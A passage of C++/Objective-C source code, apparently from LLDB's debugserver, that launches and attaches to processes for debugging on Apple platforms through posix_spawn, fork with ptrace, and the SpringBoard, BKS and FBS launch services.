DNBLogError("unable to launch the application with CFBundleIdentifier "
"'%s' bks_error = %ld",
bundleIDStr.c_str(), (NSInteger)attach_error_code);
}
dispatch_release(semaphore);
[pool drain];
}
#endif
#if defined(WITH_BKS)
if (launch_flavor == eLaunchFlavorBKS) {
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSString *stdio_path = nil;
NSFileManager *file_manager = [NSFileManager defaultManager];
const char *null_path = "/dev/null";
stdio_path =
[file_manager stringWithFileSystemRepresentation:null_path
length:strlen(null_path)];
NSMutableDictionary *debug_options = [NSMutableDictionary dictionary];
NSMutableDictionary *options = [NSMutableDictionary dictionary];
DNBLogThreadedIf(LOG_PROCESS, "Calling BKSSystemService openApplication: "
"@\"%s\",options include stdio path: \"%s\", "
"BKSDebugOptionKeyDebugOnNextLaunch & "
"BKSDebugOptionKeyWaitForDebugger )",
bundleIDStr.c_str(), null_path);
[debug_options setObject:stdio_path
forKey:BKSDebugOptionKeyStandardOutPath];
[debug_options setObject:stdio_path
forKey:BKSDebugOptionKeyStandardErrorPath];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:BKSDebugOptionKeyWaitForDebugger];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:BKSDebugOptionKeyDebugOnNextLaunch];
[options setObject:debug_options
forKey:BKSOpenApplicationOptionKeyDebuggingOptions];
BKSSystemService *system_service = [[BKSSystemService alloc] init];
mach_port_t client_port = [system_service createClientPort];
__block dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
__block BKSOpenApplicationErrorCode attach_error_code =
BKSOpenApplicationErrorCodeNone;
NSString *bundleIDNSStr = (NSString *)bundleIDCFStr;
DNBLog("[LaunchAttach] START (%d) requesting BKS launch of app with bundle "
"ID '%s'",
getpid(), bundleIDStr.c_str());
[system_service openApplication:bundleIDNSStr
options:options
clientPort:client_port
withResult:^(NSError *error) {
// The system service will cleanup the client port we
// created for us.
if (error)
attach_error_code =
(BKSOpenApplicationErrorCode)[error code];
[system_service release];
dispatch_semaphore_signal(semaphore);
}];
const uint32_t timeout_secs = 9;
dispatch_time_t timeout =
dispatch_time(DISPATCH_TIME_NOW, timeout_secs * NSEC_PER_SEC);
long success = dispatch_semaphore_wait(semaphore, timeout) == 0;
if (!success) {
DNBLogError("timed out trying to launch %s.", bundleIDStr.c_str());
attach_err.SetErrorString(
"debugserver timed out waiting for openApplication to complete.");
attach_err.SetError(OPEN_APPLICATION_TIMEOUT_ERROR, DNBError::Generic);
} else if (attach_error_code != BKSOpenApplicationErrorCodeNone) {
std::string empty_str;
SetBKSError(attach_error_code, empty_str, attach_err);
DNBLogError("unable to launch the application with CFBundleIdentifier "
"'%s' bks_error = %d",
bundleIDStr.c_str(), attach_error_code);
}
dispatch_release(semaphore);
[pool drain];
}
#endif
#if defined(WITH_SPRINGBOARD)
if (launch_flavor == eLaunchFlavorSpringBoard) {
SBSApplicationLaunchError sbs_error = 0;
const char *stdout_err = "/dev/null";
CFString stdio_path;
stdio_path.SetFileSystemRepresentation(stdout_err);
DNBLogThreadedIf(LOG_PROCESS, "SBSLaunchApplicationForDebugging ( @\"%s\" "
", NULL, NULL, NULL, @\"%s\", @\"%s\", "
"SBSApplicationDebugOnNextLaunch | "
"SBSApplicationLaunchWaitForDebugger )",
bundleIDStr.c_str(), stdout_err, stdout_err);
DNBLog("[LaunchAttach] START (%d) requesting SpringBoard launch of app "
"with bundle "
"ID '%s'",
getpid(), bundleIDStr.c_str());
sbs_error = SBSLaunchApplicationForDebugging(
bundleIDCFStr,
(CFURLRef)NULL, // openURL
NULL, // launch_argv.get(),
NULL, // launch_envp.get(), // CFDictionaryRef environment
stdio_path.get(), stdio_path.get(),
SBSApplicationDebugOnNextLaunch | SBSApplicationLaunchWaitForDebugger);
if (sbs_error != SBSApplicationLaunchErrorSuccess) {
attach_err.SetError(sbs_error, DNBError::SpringBoard);
return NULL;
}
}
#endif // WITH_SPRINGBOARD
DNBLogThreadedIf(LOG_PROCESS, "Successfully set DebugOnNextLaunch.");
return bundleIDCFStr;
#else // !(defined (WITH_SPRINGBOARD) || defined (WITH_BKS) || defined
// (WITH_FBS))
return NULL;
#endif
}
// Pass in the token you got from PrepareForAttach. If there is a process
// for that token, then the pid will be returned, otherwise INVALID_NUB_PROCESS
// will be returned.
nub_process_t MachProcess::CheckForProcess(const void *attach_token,
nub_launch_flavor_t launch_flavor) {
if (attach_token == NULL)
return INVALID_NUB_PROCESS;
#if defined(WITH_FBS)
if (launch_flavor == eLaunchFlavorFBS) {
NSString *bundleIDNSStr = (NSString *)attach_token;
FBSSystemService *systemService = [[FBSSystemService alloc] init];
pid_t pid = [systemService pidForApplication:bundleIDNSStr];
[systemService release];
if (pid == 0)
return INVALID_NUB_PROCESS;
else
return pid;
}
#endif
#if defined(WITH_BKS)
if (launch_flavor == eLaunchFlavorBKS) {
NSString *bundleIDNSStr = (NSString *)attach_token;
BKSSystemService *systemService = [[BKSSystemService alloc] init];
pid_t pid = [systemService pidForApplication:bundleIDNSStr];
[systemService release];
if (pid == 0)
return INVALID_NUB_PROCESS;
else
return pid;
}
#endif
#if defined(WITH_SPRINGBOARD)
if (launch_flavor == eLaunchFlavorSpringBoard) {
CFStringRef bundleIDCFStr = (CFStringRef)attach_token;
Boolean got_it;
nub_process_t attach_pid;
got_it = SBSProcessIDForDisplayIdentifier(bundleIDCFStr, &attach_pid);
if (got_it)
return attach_pid;
else
return INVALID_NUB_PROCESS;
}
#endif
return INVALID_NUB_PROCESS;
}
// Call this to clean up after you have either attached or given up on the
// attach.
// Pass true for success if you have attached, false if you have not.
// The token will also be freed at this point, so you can't use it after calling
// this method.
void MachProcess::CleanupAfterAttach(const void *attach_token,
nub_launch_flavor_t launch_flavor,
bool success, DNBError &err_str) {
if (attach_token == NULL)
return;
#if defined(WITH_FBS)
if (launch_flavor == eLaunchFlavorFBS) {
if (!success) {
FBSCleanupAfterAttach(attach_token, err_str);
}
CFRelease((CFStringRef)attach_token);
}
#endif
#if defined(WITH_BKS)
if (launch_flavor == eLaunchFlavorBKS) {
if (!success) {
BKSCleanupAfterAttach(attach_token, err_str);
}
CFRelease((CFStringRef)attach_token);
}
#endif
#if defined(WITH_SPRINGBOARD)
// Tell SpringBoard to cancel the debug on next launch of this application
// if we failed to attach
if (launch_flavor == eMachProcessFlagsUsingSpringBoard) {
if (!success) {
SBSApplicationLaunchError sbs_error = 0;
CFStringRef bundleIDCFStr = (CFStringRef)attach_token;
sbs_error = SBSLaunchApplicationForDebugging(
bundleIDCFStr, (CFURLRef)NULL, NULL, NULL, NULL, NULL,
SBSApplicationCancelDebugOnNextLaunch);
if (sbs_error != SBSApplicationLaunchErrorSuccess) {
err_str.SetError(sbs_error, DNBError::SpringBoard);
return;
}
}
CFRelease((CFStringRef)attach_token);
}
#endif
}
pid_t MachProcess::LaunchForDebug(
const char *path, char const *argv[], char const *envp[],
const char *working_directory, // NULL => don't change, non-NULL => set
// working directory for inferior to this
const char *stdin_path, const char *stdout_path, const char *stderr_path,
bool no_stdio, nub_launch_flavor_t launch_flavor, int disable_aslr,
const char *event_data,
const RNBContext::IgnoredExceptions &ignored_exceptions,
DNBError &launch_err) {
// Clear out and clean up from any current state
Clear();
DNBLogThreadedIf(LOG_PROCESS,
"%s( path = '%s', argv = %p, envp = %p, "
"launch_flavor = %u, disable_aslr = %d )",
__FUNCTION__, path, static_cast<const void *>(argv),
static_cast<const void *>(envp), launch_flavor,
disable_aslr);
// Fork a child process for debugging
SetState(eStateLaunching);
switch (launch_flavor) {
case eLaunchFlavorForkExec:
m_pid = MachProcess::ForkChildForPTraceDebugging(path, argv, envp, this,
launch_err);
break;
#ifdef WITH_FBS
case eLaunchFlavorFBS: {
std::string app_bundle_path = GetAppBundle(path);
if (!app_bundle_path.empty()) {
m_flags |= (eMachProcessFlagsUsingFBS | eMachProcessFlagsBoardCalculated);
if (BoardServiceLaunchForDebug(app_bundle_path.c_str(), argv, envp,
no_stdio, disable_aslr, event_data,
ignored_exceptions, launch_err) != 0)
return m_pid; // A successful SBLaunchForDebug() returns and assigns a
// non-zero m_pid.
}
DNBLog("Failed to launch '%s' with FBS", app_bundle_path);
} break;
#endif
#ifdef WITH_BKS
case eLaunchFlavorBKS: {
std::string app_bundle_path = GetAppBundle(path);
if (!app_bundle_path.empty()) {
m_flags |= (eMachProcessFlagsUsingBKS | eMachProcessFlagsBoardCalculated);
if (BoardServiceLaunchForDebug(app_bundle_path.c_str(), argv, envp,
no_stdio, disable_aslr, event_data,
ignored_exceptions, launch_err) != 0)
return m_pid; // A successful SBLaunchForDebug() returns and assigns a
// non-zero m_pid.
}
DNBLog("Failed to launch '%s' with BKS", app_bundle_path);
} break;
#endif
#ifdef WITH_SPRINGBOARD
case eLaunchFlavorSpringBoard: {
std::string app_bundle_path = GetAppBundle(path);
if (!app_bundle_path.empty()) {
if (SBLaunchForDebug(app_bundle_path.c_str(), argv, envp, no_stdio,
disable_aslr, ignored_exceptions, launch_err) != 0)
return m_pid; // A successful SBLaunchForDebug() returns and assigns a
// non-zero m_pid.
}
DNBLog("Failed to launch '%s' with SpringBoard", app_bundle_path);
} break;
#endif
case eLaunchFlavorPosixSpawn:
m_pid = MachProcess::PosixSpawnChildForPTraceDebugging(
path, DNBArchProtocol::GetCPUType(), DNBArchProtocol::GetCPUSubType(),
argv, envp, working_directory, stdin_path, stdout_path, stderr_path,
no_stdio, this, disable_aslr, launch_err);
break;
default:
DNBLog("Failed to launch: invalid launch flavor: %d", launch_flavor);
launch_err.SetError(NUB_GENERIC_ERROR, DNBError::Generic);
return INVALID_NUB_PROCESS;
}
if (m_pid == INVALID_NUB_PROCESS) {
// If we don't have a valid process ID and no one has set the error,
// then return a generic error
if (launch_err.Success())
launch_err.SetError(NUB_GENERIC_ERROR, DNBError::Generic);
} else {
m_path = path;
size_t i;
char const *arg;
for (i = 0; (arg = argv[i]) != NULL; i++)
m_args.push_back(arg);
m_task.StartExceptionThread(ignored_exceptions, launch_err);
if (launch_err.Fail()) {
if (launch_err.AsString() == NULL)
launch_err.SetErrorString("unable to start the exception thread");
DNBLog("Could not get inferior's Mach exception port, sending ptrace "
"PT_KILL and exiting.");
::ptrace(PT_KILL, m_pid, 0, 0);
m_pid = INVALID_NUB_PROCESS;
return INVALID_NUB_PROCESS;
}
StartSTDIOThread();
if (launch_flavor == eLaunchFlavorPosixSpawn) {
SetState(eStateAttaching);
errno = 0;
DNBLog("[LaunchAttach] (%d) About to ptrace(PT_ATTACHEXC, %d)...",
getpid(), m_pid);
int err = ::ptrace(PT_ATTACHEXC, m_pid, 0, 0);
int ptrace_errno = errno;
DNBLog("[LaunchAttach] (%d) Completed ptrace(PT_ATTACHEXC, %d) == %d",
getpid(), m_pid, err);
if (err == 0) {
m_flags |= eMachProcessFlagsAttached;
DNBLogThreadedIf(LOG_PROCESS, "successfully spawned pid %d", m_pid);
launch_err.Clear();
} else {
SetState(eStateExited);
DNBError ptrace_err(ptrace_errno, DNBError::POSIX);
DNBLogThreadedIf(LOG_PROCESS, "error: failed to attach to spawned pid "
"%d (err = %i, errno = %i (%s))",
m_pid, err, ptrace_err.Status(),
ptrace_err.AsString());
launch_err.SetError(NUB_GENERIC_ERROR, DNBError::Generic);
}
} else {
launch_err.Clear();
}
}
return m_pid;
}
pid_t MachProcess::PosixSpawnChildForPTraceDebugging(
const char *path, cpu_type_t cpu_type, cpu_subtype_t cpu_subtype,
char const *argv[], char const *envp[], const char *working_directory,
const char *stdin_path, const char *stdout_path, const char *stderr_path,
bool no_stdio, MachProcess *process, int disable_aslr, DNBError &err) {
posix_spawnattr_t attr;
short flags;
DNBLogThreadedIf(LOG_PROCESS,
"%s ( path='%s', argv=%p, envp=%p, "
"working_dir=%s, stdin=%s, stdout=%s "
"stderr=%s, no-stdio=%i)",
__FUNCTION__, path, static_cast<const void *>(argv),
static_cast<const void *>(envp), working_directory,
stdin_path, stdout_path, stderr_path, no_stdio);
err.SetError(::posix_spawnattr_init(&attr), DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawnattr_init ( &attr )");
if (err.Fail())
return INVALID_NUB_PROCESS;
flags = POSIX_SPAWN_START_SUSPENDED | POSIX_SPAWN_SETSIGDEF |
POSIX_SPAWN_SETSIGMASK | POSIX_SPAWN_SETPGROUP;
if (disable_aslr)
flags |= _POSIX_SPAWN_DISABLE_ASLR;
sigset_t no_signals;
sigset_t all_signals;
sigemptyset(&no_signals);
sigfillset(&all_signals);
::posix_spawnattr_setsigmask(&attr, &no_signals);
::posix_spawnattr_setsigdefault(&attr, &all_signals);
err.SetError(::posix_spawnattr_setflags(&attr, flags), DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded(
"::posix_spawnattr_setflags ( &attr, POSIX_SPAWN_START_SUSPENDED%s )",
flags & _POSIX_SPAWN_DISABLE_ASLR ? " | _POSIX_SPAWN_DISABLE_ASLR"
: "");
if (err.Fail())
return INVALID_NUB_PROCESS;
// Don't do this on SnowLeopard, _sometimes_ the TASK_BASIC_INFO will fail
// and we will fail to continue with our process...
// On SnowLeopard we should set "DYLD_NO_PIE" in the inferior environment....
if (cpu_type != 0) {
size_t ocount = 0;
bool slice_preference_set = false;
if (cpu_subtype != 0) {
typedef int (*posix_spawnattr_setarchpref_np_t)(
posix_spawnattr_t *, size_t, cpu_type_t *, cpu_subtype_t *, size_t *);
posix_spawnattr_setarchpref_np_t posix_spawnattr_setarchpref_np_fn =
(posix_spawnattr_setarchpref_np_t)dlsym(
RTLD_DEFAULT, "posix_spawnattr_setarchpref_np");
if (posix_spawnattr_setarchpref_np_fn) {
err.SetError((*posix_spawnattr_setarchpref_np_fn)(
&attr, 1, &cpu_type, &cpu_subtype, &ocount));
slice_preference_set = err.Success();
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded(
"::posix_spawnattr_setarchpref_np ( &attr, 1, cpu_type = "
"0x%8.8x, cpu_subtype = 0x%8.8x, count => %llu )",
cpu_type, cpu_subtype, (uint64_t)ocount);
if (err.Fail() != 0 || ocount != 1)
return INVALID_NUB_PROCESS;
}
}
if (!slice_preference_set) {
err.SetError(
::posix_spawnattr_setbinpref_np(&attr, 1, &cpu_type, &ocount),
DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded(
"::posix_spawnattr_setbinpref_np ( &attr, 1, cpu_type = "
"0x%8.8x, count => %llu )",
cpu_type, (uint64_t)ocount);
if (err.Fail() != 0 || ocount != 1)
return INVALID_NUB_PROCESS;
}
}
PseudoTerminal pty;
posix_spawn_file_actions_t file_actions;
err.SetError(::posix_spawn_file_actions_init(&file_actions), DNBError::POSIX);
int file_actions_valid = err.Success();
if (!file_actions_valid || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawn_file_actions_init ( &file_actions )");
int pty_error = -1;
pid_t pid = INVALID_NUB_PROCESS;
if (file_actions_valid) {
if (stdin_path == NULL && stdout_path == NULL && stderr_path == NULL &&
!no_stdio) {
pty_error = pty.OpenFirstAvailablePrimary(O_RDWR | O_NOCTTY);
if (pty_error == PseudoTerminal::success) {
stdin_path = stdout_path = stderr_path = pty.SecondaryName();
}
}
// if no_stdio or std paths not supplied, then route to "/dev/null".
if (no_stdio || stdin_path == NULL || stdin_path[0] == '\0')
stdin_path = "/dev/null";
if (no_stdio || stdout_path == NULL || stdout_path[0] == '\0')
stdout_path = "/dev/null";
if (no_stdio || stderr_path == NULL || stderr_path[0] == '\0')
stderr_path = "/dev/null";
err.SetError(::posix_spawn_file_actions_addopen(&file_actions, STDIN_FILENO,
stdin_path,
O_RDONLY | O_NOCTTY, 0),
DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawn_file_actions_addopen (&file_actions, "
"filedes=STDIN_FILENO, path='%s')",
stdin_path);
err.SetError(::posix_spawn_file_actions_addopen(
&file_actions, STDOUT_FILENO, stdout_path,
O_WRONLY | O_NOCTTY | O_CREAT, 0640),
DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawn_file_actions_addopen (&file_actions, "
"filedes=STDOUT_FILENO, path='%s')",
stdout_path);
err.SetError(::posix_spawn_file_actions_addopen(
&file_actions, STDERR_FILENO, stderr_path,
O_WRONLY | O_NOCTTY | O_CREAT, 0640),
DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawn_file_actions_addopen (&file_actions, "
"filedes=STDERR_FILENO, path='%s')",
stderr_path);
// TODO: Verify if we can set the working directory back immediately
// after the posix_spawnp call without creating a race condition???
if (working_directory)
::chdir(working_directory);
err.SetError(::posix_spawnp(&pid, path, &file_actions, &attr,
const_cast<char *const *>(argv),
const_cast<char *const *>(envp)),
DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawnp ( pid => %i, path = '%s', file_actions = "
"%p, attr = %p, argv = %p, envp = %p )",
pid, path, &file_actions, &attr, argv, envp);
} else {
// TODO: Verify if we can set the working directory back immediately
// after the posix_spawnp call without creating a race condition???
if (working_directory)
::chdir(working_directory);
err.SetError(::posix_spawnp(&pid, path, NULL, &attr,
const_cast<char *const *>(argv),
const_cast<char *const *>(envp)),
DNBError::POSIX);
if (err.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err.LogThreaded("::posix_spawnp ( pid => %i, path = '%s', file_actions = "
"%p, attr = %p, argv = %p, envp = %p )",
pid, path, NULL, &attr, argv, envp);
}
// We have seen some cases where posix_spawnp was returning a valid
// looking pid even when an error was returned, so clear it out
if (err.Fail())
pid = INVALID_NUB_PROCESS;
if (pty_error == 0) {
if (process != NULL) {
int primary_fd = pty.ReleasePrimaryFD();
process->SetChildFileDescriptors(primary_fd, primary_fd, primary_fd);
}
}
::posix_spawnattr_destroy(&attr);
if (pid != INVALID_NUB_PROCESS) {
cpu_type_t pid_cpu_type = MachProcess::GetCPUTypeForLocalProcess(pid);
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::%s ( ) pid=%i, cpu_type=0x%8.8x",
__FUNCTION__, pid, pid_cpu_type);
if (pid_cpu_type)
DNBArchProtocol::SetArchitecture(pid_cpu_type);
}
if (file_actions_valid) {
DNBError err2;
err2.SetError(::posix_spawn_file_actions_destroy(&file_actions),
DNBError::POSIX);
if (err2.Fail() || DNBLogCheckLogBit(LOG_PROCESS))
err2.LogThreaded("::posix_spawn_file_actions_destroy ( &file_actions )");
}
return pid;
}
uint32_t MachProcess::GetCPUTypeForLocalProcess(pid_t pid) {
int mib[CTL_MAXNAME] = {
0,
};
size_t len = CTL_MAXNAME;
if (::sysctlnametomib("sysctl.proc_cputype", mib, &len))
return 0;
mib[len] = pid;
len++;
cpu_type_t cpu;
size_t cpu_len = sizeof(cpu);
if (::sysctl(mib, static_cast<u_int>(len), &cpu, &cpu_len, 0, 0))
cpu = 0;
return cpu;
}
pid_t MachProcess::ForkChildForPTraceDebugging(const char *path,
char const *argv[],
char const *envp[],
MachProcess *process,
DNBError &launch_err) {
PseudoTerminal::Status pty_error = PseudoTerminal::success;
// Use a fork that ties the child process's stdin/out/err to a pseudo
// terminal so we can read it in our MachProcess::STDIOThread
// as unbuffered io.
PseudoTerminal pty;
pid_t pid = pty.Fork(pty_error);
if (pid < 0) {
//--------------------------------------------------------------
// Status during fork.
//--------------------------------------------------------------
return pid;
} else if (pid == 0) {
//--------------------------------------------------------------
// Child process
//--------------------------------------------------------------
::ptrace(PT_TRACE_ME, 0, 0, 0); // Debug this process
::ptrace(PT_SIGEXC, 0, 0, 0); // Get BSD signals as mach exceptions
// If our parent is setgid, lets make sure we don't inherit those
// extra powers due to nepotism.
if (::setgid(getgid()) == 0) {
// Let the child have its own process group. We need to execute
// this call in both the child and parent to avoid a race condition
// between the two processes.
::setpgid(0, 0); // Set the child process group to match its pid
// Sleep a bit to before the exec call
::sleep(1);
// Turn this process into
::execv(path, const_cast<char *const *>(argv));
}
// Exit with error code. Child process should have taken
// over in above exec call and if the exec fails it will
// exit the child process below.
::exit(127);
} else {
//--------------------------------------------------------------
// Parent process
//--------------------------------------------------------------
// Let the child have its own process group. We need to execute
// this call in both the child and parent to avoid a race condition
// between the two processes.
::setpgid(pid, pid); // Set the child process group to match its pid
if (process != NULL) {
// Release our primary pty file descriptor so the pty class doesn't
// close it and so we can continue to use it in our STDIO thread
int primary_fd = pty.ReleasePrimaryFD();
process->SetChildFileDescriptors(primary_fd, primary_fd, primary_fd);
}
}
return pid;
}
#if defined(WITH_SPRINGBOARD) || defined(WITH_BKS) || defined(WITH_FBS)
// This returns a CFRetained pointer to the Bundle ID for app_bundle_path,
// or NULL if there was some problem getting the bundle id.
static CFStringRef CopyBundleIDForPath(const char *app_bundle_path,
DNBError &err_str) {
CFBundle bundle(app_bundle_path);
CFStringRef bundleIDCFStr = bundle.GetIdentifier();
std::string bundleID;
if (CFString::UTF8(bundleIDCFStr, bundleID) == NULL) {
struct stat app_bundle_stat;
char err_msg[PATH_MAX];
if (::stat(app_bundle_path, &app_bundle_stat) < 0) {
err_str.SetError(errno, DNBError::POSIX);
snprintf(err_msg, sizeof(err_msg), "%s: \"%s\"", err_str.AsString(),
app_bundle_path);
err_str.SetErrorString(err_msg);
DNBLogThreadedIf(LOG_PROCESS, "%s() error: %s", __FUNCTION__, err_msg);
} else {
err_str.SetError(-1, DNBError::Generic);
snprintf(err_msg, sizeof(err_msg),
"failed to extract CFBundleIdentifier from %s", app_bundle_path);
err_str.SetErrorString(err_msg);
DNBLogThreadedIf(
LOG_PROCESS,
"%s() error: failed to extract CFBundleIdentifier from '%s'",
__FUNCTION__, app_bundle_path);
}
return NULL;
}
DNBLogThreadedIf(LOG_PROCESS, "%s() extracted CFBundleIdentifier: %s",
__FUNCTION__, bundleID.c_str());
CFRetain(bundleIDCFStr);
return bundleIDCFStr;
}
#endif // #if defined (WITH_SPRINGBOARD) || defined (WITH_BKS) || defined
// (WITH_FBS)
#ifdef WITH_SPRINGBOARD
pid_t MachProcess::SBLaunchForDebug(const char *path, char const *argv[],
char const *envp[], bool no_stdio,
bool disable_aslr,
const RNBContext::IgnoredExceptions
&ignored_exceptions,
DNBError &launch_err) {
// Clear out and clean up from any current state
Clear();
DNBLogThreadedIf(LOG_PROCESS, "%s( '%s', argv)", __FUNCTION__, path);
// Fork a child process for debugging
SetState(eStateLaunching);
m_pid = MachProcess::SBForkChildForPTraceDebugging(path, argv, envp, no_stdio,
this, launch_err);
if (m_pid != 0) {
m_path = path;
size_t i;
char const *arg;
for (i = 0; (arg = argv[i]) != NULL; i++)
m_args.push_back(arg);
m_task.StartExceptionThread(ignored_exceptions, launch_err);
if (launch_err.Fail()) {
if (launch_err.AsString() == NULL)
launch_err.SetErrorString("unable to start the exception thread");
DNBLog("Could not get inferior's Mach exception port, sending ptrace "
"PT_KILL and exiting.");
::ptrace(PT_KILL, m_pid, 0, 0);
m_pid = INVALID_NUB_PROCESS;
return INVALID_NUB_PROCESS;
}
StartSTDIOThread();
SetState(eStateAttaching);
DNBLog("[LaunchAttach] (%d) About to ptrace(PT_ATTACHEXC, %d)...", getpid(),
m_pid);
int err = ::ptrace(PT_ATTACHEXC, m_pid, 0, 0);
DNBLog("[LaunchAttach] (%d) Completed ptrace(PT_ATTACHEXC, %d) == %d",
getpid(), m_pid, err);
if (err == 0) {
m_flags |= eMachProcessFlagsAttached;
DNBLogThreadedIf(LOG_PROCESS, "successfully attached to pid %d", m_pid);
} else {
SetState(eStateExited);
DNBLogThreadedIf(LOG_PROCESS, "error: failed to attach to pid %d", m_pid);
}
}
return m_pid;
}
#include <servers/bootstrap.h>
pid_t MachProcess::SBForkChildForPTraceDebugging(
const char *app_bundle_path, char const *argv[], char const *envp[],
bool no_stdio, MachProcess *process, DNBError &launch_err) {
DNBLogThreadedIf(LOG_PROCESS, "%s( '%s', argv, %p)", __FUNCTION__,
app_bundle_path, process);
CFAllocatorRef alloc = kCFAllocatorDefault;
if (argv[0] == NULL)
return INVALID_NUB_PROCESS;
size_t argc = 0;
// Count the number of arguments
while (argv[argc] != NULL)
argc++;
// Enumerate the arguments
size_t first_launch_arg_idx = 1;
CFReleaser<CFMutableArrayRef> launch_argv;
if (argv[first_launch_arg_idx]) {
size_t launch_argc = argc > 0 ? argc - 1 : 0;
launch_argv.reset(
::CFArrayCreateMutable(alloc, launch_argc, &kCFTypeArrayCallBacks));
size_t i;
char const *arg;
CFString launch_arg;
for (i = first_launch_arg_idx; (i < argc) && ((arg = argv[i]) != NULL);
i++) {
launch_arg.reset(
::CFStringCreateWithCString(alloc, arg, kCFStringEncodingUTF8));
if (launch_arg.get() != NULL)
CFArrayAppendValue(launch_argv.get(), launch_arg.get());
else
break;
}
}
// Next fill in the arguments dictionary. Note, the envp array is of the form
// Variable=value but SpringBoard wants a CF dictionary. So we have to
// convert
// this here.
CFReleaser<CFMutableDictionaryRef> launch_envp;
if (envp[0]) {
launch_envp.reset(
::CFDictionaryCreateMutable(alloc, 0, &kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks));
const char *value;
int name_len;
CFString name_string, value_string;
for (int i = 0; envp[i] != NULL; i++) {
value = strstr(envp[i], "=");
// If the name field is empty or there's no =, skip it. Somebody's
// messing with us.
if (value == NULL || value == envp[i])
continue;
name_len = value - envp[i];
// Now move value over the "="
value++;
name_string.reset(
::CFStringCreateWithBytes(alloc, (const UInt8 *)envp[i], name_len,
kCFStringEncodingUTF8, false));
value_string.reset(
::CFStringCreateWithCString(alloc, value, kCFStringEncodingUTF8));
CFDictionarySetValue(launch_envp.get(), name_string.get(),
value_string.get());
}
}
CFString stdio_path;
PseudoTerminal pty;
if (!no_stdio) {
PseudoTerminal::Status pty_err =
pty.OpenFirstAvailablePrimary(O_RDWR | O_NOCTTY);
if (pty_err == PseudoTerminal::success) {
const char *secondary_name = pty.SecondaryName();
DNBLogThreadedIf(LOG_PROCESS,
"%s() successfully opened primary pty, secondary is %s",
__FUNCTION__, secondary_name);
if (secondary_name && secondary_name[0]) {
::chmod(secondary_name, S_IRWXU | S_IRWXG | S_IRWXO);
stdio_path.SetFileSystemRepresentation(secondary_name);
}
}
}
if (stdio_path.get() == NULL) {
stdio_path.SetFileSystemRepresentation("/dev/null");
}
CFStringRef bundleIDCFStr = CopyBundleIDForPath(app_bundle_path, launch_err);
if (bundleIDCFStr == NULL)
return INVALID_NUB_PROCESS;
// This is just for logging:
std::string bundleID;
CFString::UTF8(bundleIDCFStr, bundleID);
DNBLogThreadedIf(LOG_PROCESS, "%s() serialized launch arg array",
__FUNCTION__);
// Find SpringBoard
SBSApplicationLaunchError sbs_error = 0;
sbs_error = SBSLaunchApplicationForDebugging(
bundleIDCFStr,
(CFURLRef)NULL, // openURL
launch_argv.get(),
launch_envp.get(), // CFDictionaryRef environment
stdio_path.get(), stdio_path.get(),
SBSApplicationLaunchWaitForDebugger | SBSApplicationLaunchUnlockDevice);
launch_err.SetError(sbs_error, DNBError::SpringBoard);
if (sbs_error == SBSApplicationLaunchErrorSuccess) {
static const useconds_t pid_poll_interval = 200000;
static const useconds_t pid_poll_timeout = 30000000;
useconds_t pid_poll_total = 0;
nub_process_t pid = INVALID_NUB_PROCESS;
Boolean pid_found = SBSProcessIDForDisplayIdentifier(bundleIDCFStr, &pid);
// Poll until the process is running, as long as we are getting valid
// responses and the timeout hasn't expired
// A return PID of 0 means the process is not running, which may be because
// it hasn't been (asynchronously) started
// yet, or that it died very quickly (if you weren't using waitForDebugger).
while (!pid_found && pid_poll_total < pid_poll_timeout) {
usleep(pid_poll_interval);
pid_poll_total += pid_poll_interval;
DNBLogThreadedIf(LOG_PROCESS,
"%s() polling Springboard for pid for %s...",
__FUNCTION__, bundleID.c_str());
pid_found = SBSProcessIDForDisplayIdentifier(bundleIDCFStr, &pid);
}
CFRelease(bundleIDCFStr);
if (pid_found) {
if (process != NULL) {
// Release our primary pty file descriptor so the pty class doesn't
// close it and so we can continue to use it in our STDIO thread
int primary_fd = pty.ReleasePrimaryFD();
process->SetChildFileDescriptors(primary_fd, primary_fd, primary_fd);
}
DNBLogThreadedIf(LOG_PROCESS, "%s() => pid = %4.4x", __FUNCTION__, pid);
} else {
DNBLogError("failed to lookup the process ID for CFBundleIdentifier %s.",
bundleID.c_str());
}
return pid;
}
DNBLogError("unable to launch the application with CFBundleIdentifier '%s' "
"sbs_error = %u",
bundleID.c_str(), sbs_error);
return INVALID_NUB_PROCESS;
}
#endif // #ifdef WITH_SPRINGBOARD
#if defined(WITH_BKS) || defined(WITH_FBS)
pid_t MachProcess::BoardServiceLaunchForDebug(
const char *path, char const *argv[], char const *envp[], bool no_stdio,
bool disable_aslr, const char *event_data,
const RNBContext::IgnoredExceptions &ignored_exceptions,
DNBError &launch_err) {
DNBLogThreadedIf(LOG_PROCESS, "%s( '%s', argv)", __FUNCTION__, path);
// Fork a child process for debugging
SetState(eStateLaunching);
m_pid = BoardServiceForkChildForPTraceDebugging(
path, argv, envp, no_stdio, disable_aslr, event_data, launch_err);
if (m_pid != 0) {
m_path = path;
size_t i;
char const *arg;
for (i = 0; (arg = argv[i]) != NULL; i++)
m_args.push_back(arg);
m_task.StartExceptionThread(ignored_exceptions, launch_err);
if (launch_err.Fail()) {
if (launch_err.AsString() == NULL)
launch_err.SetErrorString("unable to start the exception thread");
DNBLog("[LaunchAttach] END (%d) Could not get inferior's Mach exception "
"port, "
"sending ptrace "
"PT_KILL to pid %i and exiting.",
getpid(), m_pid);
